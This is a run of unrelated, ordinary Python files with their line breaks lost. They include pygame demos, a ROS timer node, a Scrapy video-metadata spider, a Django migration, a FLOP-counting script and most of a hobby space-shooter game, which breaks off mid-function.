import pygame, sys, time, random from pygame.locals import * class MySprite(pygame.sprite.Sprite): def __init__(self): pygame.sprite.Sprite.__init__(self) self.image = pygame.image.load('platform.png').convert() self.rect = self.image.get_rect() self.x = 0 self.y = 0 def draw(self,surface): surface.blit(self.image,(self.x,self.y)) def onKeyPress(self): key = pygame.key.get_pressed() distance = 5 if key[ord('s')] or key[pygame.K_DOWN]: #down self.y += distance elif key[ord('w')] or key[pygame.K_UP]: #up self.y -= distance if key[ord('d')] or key[pygame.K_RIGHT]: #right self.x += distance elif key[ord('a')] or key[pygame.K_LEFT]: #left self.x -= distance rotate = pygame.transform.rotate if key[ord('e')]: self.image = rotate(self.image, 10) elif key[ord('q')]: self.image = rotate(self.image, -10) class Event(object): def __init__(self): for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_ESCAPE: pygame.quit() sys.exit() pygame.init() fps = 30 fpsClock = pygame.time.Clock() size = width,height = 800,600 screen = pygame.display.set_mode(size) mySprite = MySprite() while True: event = Event() screen.fill((0,255,0)) mySprite.draw(screen) mySprite.onKeyPress() pygame.display.update() fpsClock.tick(fps)
def largest_sum(arr): if (len(arr) == 0): return max_sum = current_sum = arr[0] for num in arr[1:]: current_sum = max(current_sum + num, num) max_sum = max(current_sum, max_sum) return max_sum print(largest_sum([7,8,4,-5,22,3,5,-9,12,15,-4]))
#!/usr/bin/env python import rospy from std_msgs.msg import String, Bool import sys class Timer(): def __init__(self): # Get system start time until clock actually starts self.start_time = rospy.get_time() while self.start_time == 0.0: self.start_time = rospy.get_time() self.end_time = rospy.get_time() self.ended = False self.sub_shutdown = rospy.Subscriber('shutdown_topic', Bool, self.printFinishedTimer) self.pub_timer = rospy.Publisher('timer_topic', String, queue_size=10) def printFinishedTimer(self, data): # If the program has finished running if data.data: # Calculate end time once if not self.ended: self.end_time = rospy.get_time() # Get total duration total_time = self.end_time - self.start_time # Publish duration as seconds or minutes if total_time < 60: self.pub_timer.publish("Completed in " + str(total_time) + " seconds") else: mins = int(total_time / 60) secs = total_time % 60 self.pub_timer.publish("Completed in " + str(mins) + ":" + str(secs)) self.ended = True def main(args): rospy.init_node('timer', anonymous=True) t = Timer() try: rospy.spin() except rospy.ROSInterruptException: pass # Check if the node is executing in the main path if __name__ == '__main__': main(sys.argv)
n = int(input('Введите количество чисел в массиве ')) print('Введите число ') print('Вводим массив') # Вводим элементы массива A i = 0 A = [] # Проверка на то, что вводят число for j in range(n): x = input() if x.isdigit(): A.append(int(x)) if len(A) == 0: print('Введите хотя бы одно число ') else: D = [0]*len(A) for q in range(1, len(A)): if A[q] > A[q - 1]: D[i] += 1 else: i += 1 maximum = max(D) z = D.index(max(D)) print(z) print(D) for i in range(z, z + maximum + 1): print(A[i], end = ' ') print('Длина наибольшой возрастающей последовательности равна',maximum + 1)
# -*- coding: utf-8 -*- from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule, Request from items import VideoScrapyItem class IqiyiSpider(CrawlSpider): name = 'iqiyi' allowed_domains = ['iqiyi.com'] start_urls = ['http://news.iqiyi.com/'] rules = ( Rule(LinkExtractor(allow=r'www/\d+/-------------4-1-2--1-.html'), callback='parse_item', follow=True), ) def parse_detail_item(self, response): i = VideoScrapyItem() try: i['video_title'] = response.xpath('//*[@id="widget-videotitle"]/text()').extract()[0] i['video_source_url'] = response.url i['video_publish_time'] = response.xpath('//*[@id="widget-vshort-ptime"]/text()').extract()[0] i['video_author'] = response.xpath('//*[@id="widget-vshort-un"]/text()').extract()[0] except Exception, e: print(response.url + ': 出问题了---' + e.message) return i def parse_item(self, response): urls = response.xpath('//*/div[@class="site-piclist_pic"]/a/@href').extract() for url in urls: yield Request(url, callback=self.parse_detail_item)
metros = float(input('Digite o valor em metros: ')) print('{} metros é igual à {} centimetros'.format(metros, metros*100)) print('{} metros é igual à {} milimetros'.format(metros, metros*1000))
# Generated by Django 3.0.5 on 2020-08-27 17:05 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommend_system', '0018_click_item'), ] operations = [ migrations.AddField( model_name='contact_broker', name='datetime', field=models.DateTimeField(default=datetime.datetime.now), ), migrations.AddField( model_name='user', name='datetime', field=models.DateTimeField(default=datetime.datetime.now), ), ]
#!/bin/env python ## # @file # This file is part of SeisSol. # # @author Alex Breuer (breuer AT mytum.de, http://www5.in.tum.de/wiki/index.php/Dipl.-Math._Alexander_Breuer) # # @section LICENSE # Copyright (c) 2013, SeisSol Group # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # @section DESCRIPTION # Sums up the total number of FLOPs over multiple MPI-ranks. # import argparse import os import re # set up command line parser and get job log l_commandLineParser = argparse.ArgumentParser( description= 'This simple script sums of the number of FLOPs over multiple MPI-ranks measured with kernel generation.' ) l_commandLineParser.add_argument( 'pathToJobLog', #metavar='pathToJobLog', type=str, nargs='+', help='path to the job log') l_commandLineArguments = l_commandLineParser.parse_args() l_pathToLogFile = l_commandLineArguments.pathToJobLog[0] print 'given job log: ' + l_pathToLogFile # open log gile l_logFile = open(l_pathToLogFile, 'r') # define dictionary for the FLOP measurements l_measurements = {'time integration': 0, 'volume integration': 0, 'boundary integration': 0} # iterate over lines in the log file for l_line in l_logFile: # search for FLOP measurements if re.search('.*Info.*FLOPS', l_line): # get measurements l_line = l_line.split('-')[1] # get the measurements of this core l_coreMeasurements = [token for token in l_line.split() if token.isdigit()] # add measurements of this core to the overall FLOP count l_measurements['time integration'] = l_measurements['time integration'] + int(l_coreMeasurements[0]) l_measurements['volume integration'] = l_measurements['volume integration'] + int(l_coreMeasurements[1]) l_measurements['boundary integration'] = l_measurements['boundary integration'] + int(l_coreMeasurements[2]) l_logFile.close() # return the result print 'printing total flop numbers over all ranks' print l_measurements
''' Kepler-442b Author: Rudolf M. Created for Python Programming competition April-May 2020 ''' import pygame import random import math from image_loader import* from sound_loader import* from initial_values import* t = pygame.time.Clock() pygame.init() win = pygame.display.set_mode((720, 480)) pygame.display.set_caption("Kepler-442 b ") #INITIAL LEVEL SETTINGS player = bl bg = bg1 level = 1 stored_player = player stored_bg = bg stored_level = level ####################### FUNCTIONS: #FUNCTION THAT PRINTS TEXT def print_text(message, x, y, font_col, font_type, font_size): pygame.display.init() pygame.font.init() font_type1 = pygame.font.Font(font_type, font_size) text = font_type1.render(message, True, font_col) win.blit(text, (x, y)) #FUNCTION THAT PAUSES THE GAME def pause(): paused = True global run while paused: #check for game quit for event in pygame.event.get(): if event.type == pygame.QUIT: paused = False run = False print_text("PAUSED", 350, 220, (0, 255, 0), "fonts/Pixeboy.ttf", 50) print_text("Press ENTER to continue", 150, 290, (0, 255, 0), "fonts/Pixeboy.ttf ", 20) #check for un-pause pressed = pygame.key.get_pressed() if pressed[pygame.K_RETURN]: paused = False pygame.mixer.unpause() pygame.display.update() pygame.time.delay(100) #FUNCTION THAT SHOWS MAIN MENU def show_menu(win, image): global shmenu, cy, dy, up, up2, dpy, dpx, cpy, cpx, run while shmenu: #check for game quit for event in pygame.event.get(): if event.type == pygame.QUIT: run = False shmenu = False #buttons start_but = button(130, 25, (178, 236, 166), (0, 255, 0)) levels_but = button(155, 25, (178, 236, 166), (0, 255, 0)) settings_but = button(130, 25, (201, 222, 31), (255, 255, 0)) close_but = button(130, 25, (236, 174, 166), (255, 0, 0)) win.blit(image, (0, 0)) #drawing the two figures floating in space cx = 650 dx = 420 win.blit(xen_small, (cx, cy)) win.blit(pl_small, (dx, dy)) if cy>90 and up: cy-=1 if cy == 90: up = False if cy<215 and not up: cy+=1 if cy == 215: up = True if dy>150 and up2: dy-=1 if dy == 150: up2 = False if dy<280 and not up2: dy+=1 if dy == 280: up2 = True if dpx!= 0 and dpx<720 and not(cx<dpx<cx+25 and cy<dpy<cy+52): dpx+=2 pygame.draw.circle(win, (255, 0, 0), (dpx, dpy), 1) else: dpx=dx dpy = dy if cpx!= 0 and cpx>300 and not (dx<cpx<dx+20 and dy<cpy<dy+42): cpx-=2 pygame.draw.circle(win, (0, 0, 255), (cpx, cpy), 1) else: cpx=cx cpy = cy #drawing buttons start_but.buttondrawer(50, 180, "Start game", "start_intro", win, 25, 4) levels_but.buttondrawer(50, 220, "Show levels (cheating)", "show_menu1", win, 15, 8) settings_but.buttondrawer(50, 260, " Settings", "show_settings", win, 25, 4) close_but.buttondrawer(50, 300, " Quit game", "quit", win, 25, 4) print_text("Kepler-442 b ", 100, 60, (255, 255, 255), "fonts/VerminVibes.ttf", 50) pygame.display.update() pygame.time.delay(30) #FUNCTION THAT SHOWS SETTINGS MENU def show_settings(win, image): global shsettings, sliderx1, sliderx2, run while shsettings: for event in pygame.event.get(): if event.type == pygame.QUIT: shsettings = False run = False #buttons mus_vol_but = slider(150, 8, 7, sliderx1, (170, 160, 179), (209, 97, 254), sliding1) eff_vol_but = slider(150, 8, 7, sliderx2, (170, 160, 179), (209, 97, 254), sliding2) close_but = button(55, 20, (236, 174, 166), (255, 0, 0)) #drawing background, text and buttons win.blit(image, (0, 0)) print_text("Settings", 280, 30, (255, 255, 255), "fonts/VerminVibes.ttf", 30) print_text("Music", 10, 145, (255, 255, 255), "fonts/Pixeboy.ttf", 20) print_text("sfx", 20, 195, (255, 255, 255), "fonts/Pixeboy.ttf", 20) print_text(str('{:.2f}'.format(round(mus_vol, 2))), 230, 145, (255, 255, 255), "fonts/Pixeboy.ttf", 20) print_text(str('{:.2f}'.format(round(eff_vol, 2))), 230, 195, (255, 255, 255), "fonts/Pixeboy.ttf", 20) mus_vol_but.sliderdrawer(70, 150, "change music") eff_vol_but.sliderdrawer(70, 200, "change sfx") close_but.buttondrawer(50, 30, "back", "show_menu", win, 20, 3) #setting volume music1.set_volume(mus_vol) music2.set_volume(mus_vol) music3.set_volume(mus_vol) music4.set_volume(mus_vol) music5.set_volume(mus_vol) musici.set_volume(mus_vol) music_int.set_volume(mus_vol) button_pressed.set_volume(eff_vol) durak_scream.set_volume(eff_vol) throw.set_volume(eff_vol+0.1) launch.set_volume(eff_vol-0.1) blaster.set_volume(eff_vol-0.1) expl_sound.set_volume(eff_vol-0.1) isolation_sound.set_volume(eff_vol) astronomia.set_volume(mus_vol) alien_scream.set_volume(eff_vol-0.45) alien_throw.set_volume(eff_vol-0.35) csound1.set_volume(eff_vol-0.45) csound2.set_volume(eff_vol-0.45) pygame.display.update() pygame.time.delay(30) #FUNCTIONS THAT SHOWS "SELECT LEVEL" MENU def show_scene_menu(win, image): global shmenu1, run while shmenu1: #check for game quit for event in pygame.event.get(): if event.type == pygame.QUIT: run = False shmenu1 = False #buttons scene0 = button(90, 63, None, (178, 236, 166)) scene1 = button(90, 63, None, (178, 236, 166)) scene2 = button(90, 63, None, (178, 236, 166)) scene3 = button(90, 63, None, (178, 236, 166)) scene4 = button(90, 63, None, (178, 236, 166)) scene5 = button(90, 63, None, (178, 236, 166)) scene6 = button(90, 63, None, (178, 236, 166)) scene7 = button(90, 63, None, (178, 236, 166)) close_but = button(55, 20, (236, 174, 166), (255, 0, 0)) #drawing background, buttons and text win.blit(image, (0, 0)) scene0.buttondrawer2(50, 160, small_intro_bg, None, "Intro", "show_intro", win, 15, 3) scene1.buttondrawer2(200, 160, bg1_preview, bg1, "Level 1", "show_lvl1", win, 15, 3) scene2.buttondrawer2(350, 160, bg2_preview, bg2, "Level 2", "show_lvl2", win, 15, 3) scene3.buttondrawer2(500, 160, bg3_preview, bg3, "Level 3", "show_lvl3", win, 15, 3) scene4.buttondrawer2(50, 275, bg4_preview, bg4, "Level 4", "show_lvl4", win, 15, 3) scene5.buttondrawer2(200, 275, bg5_preview, bg5, "Level 5", "show_lvl5", win, 15, 3) scene6.buttondrawer2(350, 275, bg6_preview, bg6, "Level 6", "show_lvl6", win, 15, 3) scene7.buttondrawer2(50, 390, outro_preview, bg6, "Outro", "show_outro", win, 15, 3) close_but.buttondrawer(50, 30, "back", "show_menu", win, 20, 3) print_text("Select level", 250, 40, (255, 255, 255), "fonts/VerminVibes.ttf", 40) pygame.display.update() pygame.time.delay(30) #FUNCTION THAT DRAWS INTRO SLIDES IN "START GAME" MODE def intro(win, image): global shintro, shintro_count, shmenu, shmenu1, fight, re_animcount, explosion_time, xpl_count, expl_b, Mode1, run, tut, tut_count, stored_player, stored_bg, stored_level, level, bg, player while shintro: #buttons arrowR = intro_button(80, 61, arrow_r, arrow_ar) arrowL = intro_button(80, 61, arrow_l, arrow_al) #the below describes what should happen when a certain slide is shown if shintro_count == 0 and not Mode1: shintro = False shmenu = True shintro_count = 1 pygame.mixer.stop() show_menu(win, menu) elif shintro_count == 0 and Mode1: shintro = False shmenu = False shmenu1 = True shintro_count = 1 Mode1 = False pygame.mixer.stop() show_scene_menu(win, scene) if shintro_count == 1: image = intro_bg[0] win.blit(image, (0, 0)) print_text("You are an astronaut in the expedition", 30, 60, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("K42b15 to the planet Kepler-442b.", 30, 90, (0, 255, 0), "fonts/Digital7.ttf", 23) if shintro_count == 2: image = intro_bg[1] explosion_time = 0 xpl_count = 0 expl_b == True win.blit(image, (0, 0)) print_text("Your mission is to investigate", 30, 120, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("what happened to the crew of K42b14.", 30, 150, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("Their signal was lost 4 days ago", 30, 210, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("and they do not respond.", 30, 240, (0, 255, 0), "fonts/Digital7.ttf", 23) if shintro_count == 3: if re_animcount+1 >= 14: re_animcount = 0 explosion_time += 1 win.blit(reentry[re_animcount], (0, 0)) re_animcount += 1 print_text("During the atmospheric entry", 370, 310, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("something important explodes", 370, 340, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("in your capsule.", 370, 370, (0, 255, 0), "fonts/Digital7.ttf", 23) if explosion_time == 3 and expl_b == True: win.blit(expl_not_scaled[xpl_count], (110, 165)) xpl_count+=1 if xpl_count >= 18: xpl_count = 0 expl_b = False if explosion_time == 5: win.blit(explosion[xpl_count//2], (160, 280)) xpl_count+=1 if xpl_count >= 34: xpl_count = 0 explosion_time == 6 if shintro_count == 4: explosion_time = 0 xpl_count = 0 expl_b == True image = intro_bg[2] win.blit(image, (0, 0)) print_text("You realize you are landing 10 km", 30, 60, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("away from K42b14 landing spot.", 30, 90, (0, 255, 0), "fonts/Digital7.ttf", 23) if shintro_count == 5: image = intro_bg[3] win.blit(image, (0, 0)) print_text("The capsule is severely damaged.", 130, 105, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("Step on the surface of Kepler-442b", 368, 180, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("and walk your way", 460, 230, (0, 255, 0), "fonts/Digital7.ttf", 23) print_text("to find the missing crew.", 460, 260, (0, 255, 0), "fonts/Digital7.ttf", 23) if shintro_count == 6 and not Mode1: shintro_count = 1 pygame.mixer.stop() shintro = False shmenu1 = False shmenu = False tut = True player = stored_player bg = stored_bg level = stored_level if level == 1: tut_count = 1 elif level == 2: tut_count = 3 elif level == 3: tut_count = 5 elif level == 4: tut_count = 7 elif level == 5: tut_count = 9 elif level == 6: tut_count = 11 elif level == 7: tut_count = 14 pygame.mixer.Sound.play(music_int) tutorial(level) elif shintro_count == 6 and Mode1: shintro_count = 1 pygame.mixer.stop() shintro = False shmenu1 = True Mode1 = False show_scene_menu(win, scene) #drawing buttons arrowR.intro_buttondrawer(625, 405, "Next", win) arrowL.intro_buttondrawer(15, 405, "Previous", win) pygame.display.update() pygame.time.delay(30) for event in pygame.event.get(): if event.type == pygame.QUIT: shintro = False run = False #FUNCTION THAT SHOWS TUTORIALS IN BETWEEN LEVELS (ALSO USED FOR GAME OUTRO) def tutorial(lvl): global tut, tut_count, fire_animcount, run while tut: #check for game quit for event in pygame.event.get(): if event.type == pygame.QUIT: tut = False run = False #buttons, background, static players arrowR = intro_button(80, 61, arrow_r, arrow_ar) arrowL = intro_button(80, 61, arrow_l, arrow_al) win.blit(bg, (0, 0)) if lvl == 4: if fire_animcount+1 >= 11: fire_animcount = 0 win.blit(fire[fire_animcount], (100, 99)) win.blit(fire[fire_animcount], (555, 99)) fire_animcount+=1 win.blit(player, (x1, y1)) win.blit(pl_stand, (x, y)) #the below describes what must be shown at each slide at each level if lvl == 1: if tut_count == 1: win.blit(jar, (x1+20, y1-15)) win.blit(cabbage, (x1-100, y1-50)) print_text("Looks like you have landed in someone's garden", 10, 30, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("and were attacked by:", 200, 80, (0, 255, 0), "fonts/Pixeboy.ttf", 30) win.blit(lc1, (480, 65)) elif tut_count == 2: win.blit(jar, (x1+20, y1-15)) win.blit(control, (160, 140)) print_text("Attack is the best defence.", 200, 30, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("Press SPACE to throw a cabbage", 185, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) elif tut_count == 3: tut = False tut_count = 1 pygame.mixer.Sound.play(music4) elif lvl == 2: if tut_count == 3: print_text("Apparently someone does not want", 50, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("you to be on this planet...", 50, 90, (0, 255, 0), "fonts/Pixeboy.ttf", 30) win.blit(lc2, (480, 65)) elif tut_count == 4: print_text("Throw stones at the robot", 70, 70, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("and dodge his shots by jumping", 60, 100, (0, 255, 0), "fonts/Pixeboy.ttf", 25) win.blit(control, (160, 140)) elif tut_count == 5: tut = False tut_count = 3 pygame.mixer.Sound.play(music3) elif lvl == 3: if tut_count == 5: win.blit(bg, (0, 0)) win.blit(pl_stand, (x, y)) win.blit(lasergunL, (x+40, y+38)) print_text("You picked up the laser gun left by ATL-315,", 30, 100, (0, 255, 0), "fonts/Pixeboy.ttf", 20) print_text("now you can shoot it by pressing RIGHT SHIFT", 30, 130, (0, 255, 0), "fonts/Pixeboy.ttf", 20) win.blit(control1, (150, 160)) elif tut_count == 6: win.blit(lasergunL, (x+40, y+38)) print_text("Now it might come handy because your next enemy is:", 30, 130, (0, 255, 0), "fonts/Pixeboy.ttf", 20) win.blit(lc3, (480, 65)) elif tut_count == 7: tut = False tut_count = 5 pygame.mixer.Sound.play(music1) elif lvl == 4: if tut_count == 7: win.blit(cave, (0, 0)) print_text("The path lies through a cave", 100, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) elif tut_count == 8: print_text("It is the Alien! (who would have thought?)", 20, 30, (0, 255, 0), "fonts/Pixeboy.ttf", 25) win.blit(lc4, (480, 65)) print_text("Beware of facehuggers and acid blood", 200, 440, (0, 255, 0), "fonts/Pixeboy.ttf", 25) elif tut_count == 9: print_text("Now you can also dodge by pressing", 100, 70, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("and holding the DOWN ARROW", 150, 100, (0, 255, 0), "fonts/Pixeboy.ttf", 25) win.blit(control2, (150, 160)) elif tut_count == 10: fire_animcount = 0 tut = False tut_count = 7 pygame.mixer.Sound.play(music2) elif lvl == 5: if tut_count == 9: print_text("You may have already noticed that", 10, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("everything on this planet", 10, 90, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("wants to kill you. Well,... ", 10, 120, (0, 255, 0), "fonts/Pixeboy.ttf", 30) win.blit(lc5, (480, 65)) elif tut_count == 10: tut = False tut_count = 9 pygame.mixer.Sound.play(music4) elif lvl == 6: if tut_count == 11: win.blit(hell1, (0, 0)) print_text("Almost there!", 100, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) elif tut_count == 12: win.blit(hell2, (0, 0)) print_text("But before that you have to descend into hell real quick", 100, 40, (0, 255, 0), "fonts/Pixeboy.ttf", 25) elif tut_count == 13: print_text("the final battle", 110, 40, (0, 255, 0), "fonts/Pixeboy.ttf", 30) print_text("WOULD NOT BE FOUGHT IN THE FUTURE." , 60, 100, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("IT WOULD BE FOUGHT HERE, IN OUR PRESENT." , 40, 140, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("TONIGHT..." , 150, 180, (0, 255, 0), "fonts/Pixeboy.ttf", 25) win.blit(lc6, (480, 65)) elif tut_count == 14: tut = False tut_count = 11 pygame.mixer.Sound.play(music5) #outro (level7) elif lvl == 7: if tut_count == 14: win.blit(out1, (0, 0)) print_text("You found them!", 100, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 30) elif tut_count == 15: win.blit(out1, (0, 0)) print_text("It turns out the crew was just having some problems", 100, 40, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("with their antenna. They already fixed it by now.", 100, 70, (0, 255, 0), "fonts/Pixeboy.ttf", 25) elif tut_count == 16: win.blit(out2, (0, 0)) print_text("It is time to set off for our home at Proxima Centauri", 50, 40, (0, 255, 0), "fonts/Pixeboy.ttf", 30) elif tut_count == 17: win.blit(out3, (0, 0)) print_text("Kepler-442B turned out to be", 35, 30, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("not a very friendly place.", 35, 60, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("Still, there are plenty other worlds" , 60, 100, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("waiting for us to come!" , 60, 130, (0, 255, 0), "fonts/Pixeboy.ttf", 25) print_text("(maybe)" , 270, 170, (0, 255, 0), "fonts/Pixeboy.ttf", 20) #closes the "start game" mode and resets everyting elif tut_count == 18: global shmenu, shmenu1, shsettings, shintro, Mode1, question, level global fight, kamni1, kamni2, kamni, kamni_inner_list, viruses, rakety, home, locked, health, green, red, health1, green1, red1 tut = False tut_count = 1 fight = False kamni = [] kamni1 = [] kamni2 = [] kamni_inner_list = [] viruses = [] rakety = [] home = 0 locked = False pygame.mixer.stop() health = 100 red=0 green=255 health1 = 100 red1=0 green1=255 question = False if not Mode1: level = 1 shmenu = True shmenu1 = False pygame.mixer.Sound.play(musici) show_menu(win, menu) else: Mode1 = False shmenu1 = True show_scene_menu(win, scene) #drawing buttons arrowR.intro_buttondrawer(625, 405, "Next_tut", win) #not drawing return button on certain slides if not tut_count == 1 and not tut_count == 3 and not tut_count == 5 and not tut_count == 7 and not tut_count == 9 and not tut_count == 11 and not tut_count == 14: arrowL.intro_buttondrawer(15, 405, "Previous_tut", win) pygame.display.update() pygame.time.delay(30) #THE MAIN DRAWING FUNCTION (THAT DRAWS EVERYTHING DURING FIGHT SCENES) def drawer(bg, opponent_image): win.blit(bg, (0, 0)) pygame.draw.rect(win, (red, green, 0), (6, 10, health, 5)) pygame.draw.rect(win, (red1, green1, 0), (714-health1, 10, health1, 5)) global coffin, finish, animcount, a, fire_animcount, blcount, smoke_count, kemcount, atlcount, atl_jumpcount, neo_b, neo_count, expl_atl, expl_atl_count, termcount, term_jumpcount, sit, sit_count, xen_count if player == xen1: if fire_animcount+1 >= 11: fire_animcount = 0 win.blit(fire[fire_animcount], (100, 99)) win.blit(fire[fire_animcount], (555, 99)) fire_animcount+=1 elif player == bl: if smoke_count+1>=(3*len(smoke)): smoke_count = 0 win.blit(smoke[smoke_count//3], (-45, -45)) smoke_count+=1 if not coffin: #Xenomorph if opponent_image == xen1: if xen_count+1>=24: xen_count = 0 if moving and not isJump1: win.blit(xen_walk[xen_count//3], (x1, y1)) xen_count+=1 elif isJump1: win.blit(xenj, (x1, y1)) else: win.blit(xen1, (x1, y1)) #BL-1050 elif opponent_image == bl: if blcount+1 >= 27: blcount = 0 if moving: win.blit(bl_walk[blcount//3], (x1, y1)) win.blit(jar, (x1+20, y1-15)) blcount+=1 else: win.blit(bl, (x1, y1)) win.blit(jar, (x1+20, y1-15)) #Kem John-krem elif opponent_image == kem: if kemcount+1 >= 10: kemcount = 0 if moving: win.blit(kem_walk[kemcount], (x1, y1)) kemcount+=1 else: win.blit(kem, (x1, y1)) #ATL-315 elif opponent_image == atl: if not isJump1: if atlcount+1 >= 24: atlcount = 0 if moving: win.blit(atl_walk[atlcount//3], (x1, y1)) atlcount+=1 else: win.blit(atl, (x1, y1)) win.blit(lasergun, (x1-5, y1+40)) else: if atl_jumpcount+1 >= 36: atl_jumpcount = 0 win.blit(atl_jump[atl_jumpcount], (x1, y1)) atl_jumpcount+=1 #Terminator T-800 elif opponent_image == term: if not isJump1: if termcount+1 >= 16: termcount = 0 if moving: win.blit(term_walk[termcount//2], (x1-23, y1)) termcount+=1 elif sit: if sit_count<2: win.blit(term_sit1, (x1-23, y1)) elif 2<=sit_count<=27: win.blit(term_sit2, (x1-23, y1+51)) elif 28<=sit_count<=30: win.blit(term_sit1, (x1-23, y1)) elif sit_count>30: sit_count = -1 sit = False sit_count+=1 else: win.blit(term, (x1, y1)) else: if term_jumpcount+1 >= 36: term_jumpcount = 0 win.blit(term_jump[term_jumpcount], (x1-10, y1)) term_jumpcount+=1 else: win.blit(opponent_image, (x1, y1)) #drawing the left player if not neo_b: if animcount+1 >= 24: animcount = 0 if not (player == bl or player == atl): win.blit(lasergunL, (x+40, y+38)) if walking: win.blit(pl_walk[animcount//3], (x, y)) animcount += 1 else: win.blit(pl_stand, (x, y)) else: if neo_count+1 >= 18: neo_count = 0 win.blit(neo[neo_count//3], (x-70, y+58)) neo_count+=1 #drawing available weapons if p_blast_possible and not (player == bl or player == atl or player == term): win.blit(lasergunL1,(30, 80)) print_text("1", 52,75, (255, 0, 0), "fonts/Pixeboy.ttf", 20) elif not (player == bl or player == atl or player == term): win.blit(lasergunL2,(30, 80)) if len(kamni)==0 and not (player == bl or player == atl or player == term): win.blit(stone1, (33, 50)) print_text("2", 47, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 20) elif len(kamni)==1 and not (player == bl or player == atl or player == term): win.blit(stone1, (33, 50)) print_text("1", 47, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 20) elif len(kamni) == 2 and not (player == bl or player == atl or player == term): win.blit(stone2, (33, 50)) elif len(kamni)==0 and player == atl: win.blit(stone1, (33, 50)) print_text("2", 55, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 25) elif p_blast_possible and player == term: win.blit(lasergunL1,(30, 50)) print_text("1", 52,45, (255, 0, 0), "fonts/Pixeboy.ttf", 20) elif not p_blast_possible and player == term: win.blit(lasergunL2,(30, 50)) elif len(kamni)==1 and player == atl: win.blit(stone1, (33, 50)) print_text("1", 55, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 25) elif len(kamni) == 2 and player == atl: win.blit(stone2, (33, 50)) elif len(kamni)==0 and player == bl: win.blit(cabbage, (33, 50)) print_text("2", 57, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 25) elif len(kamni)==1 and player == bl: win.blit(cabbage, (33, 50)) print_text("1", 57, 50, (255, 0, 0), "fonts/Pixeboy.ttf", 25) elif len(kamni) == 2 and player == bl: win.blit(cabbage1, (33, 50)) #when one of the players die elif coffin and a-cof_start_time<7: #coffin dancers global animcount_c if animcount_c+1 >= 30: animcount_c = 0 if cof_left: win.blit(cof_dance_refl[animcount_c//5], (100, 303)) animcount_c+=1 win.blit(opponent_image, (x1, y1)) elif cof_right and player != atl and player != term and player != bl: win.blit(cof_dance[animcount_c//5], (480, 303)) animcount_c+=1 if animcount+1 >= 24: animcount = 0 if walking: win.blit(pl_walk[animcount//3], (x, y)) animcount += 1 else: win.blit(pl_stand, (x, y)) #just falling on the ground elif cof_right and player == bl: win.blit(pygame.transform.rotate(bl, -90), (500, 400)) win.blit(pygame.transform.rotate(jar, -90), (595, 420)) if animcount+1 >= 24: animcount = 0 if walking: win.blit(pl_walk[animcount//3], (x, y)) animcount += 1 else: win.blit(pl_stand, (x, y)) #explosions elif cof_right and player == atl or player == term: if expl_atl == True: if expl_atl_count >=50: expl_atl = False expl_atl_count = 0 win.blit(explosion[expl_atl_count//3], (x1, y1)) expl_atl_count+=1 if animcount+1 >= 24: animcount = 0 if player == atl: win.blit(lasergun, (x1-50, 440)) if walking: win.blit(pl_walk[animcount//3], (x, y)) animcount += 1 else: win.blit(pl_stand, (x, y)) elif coffin and a-cof_start_time>=7: finish = True #drawing bullets, stones, etc for kamen in kamni: kamen[0].stonedrawer(win) for bullet in p_blaster: 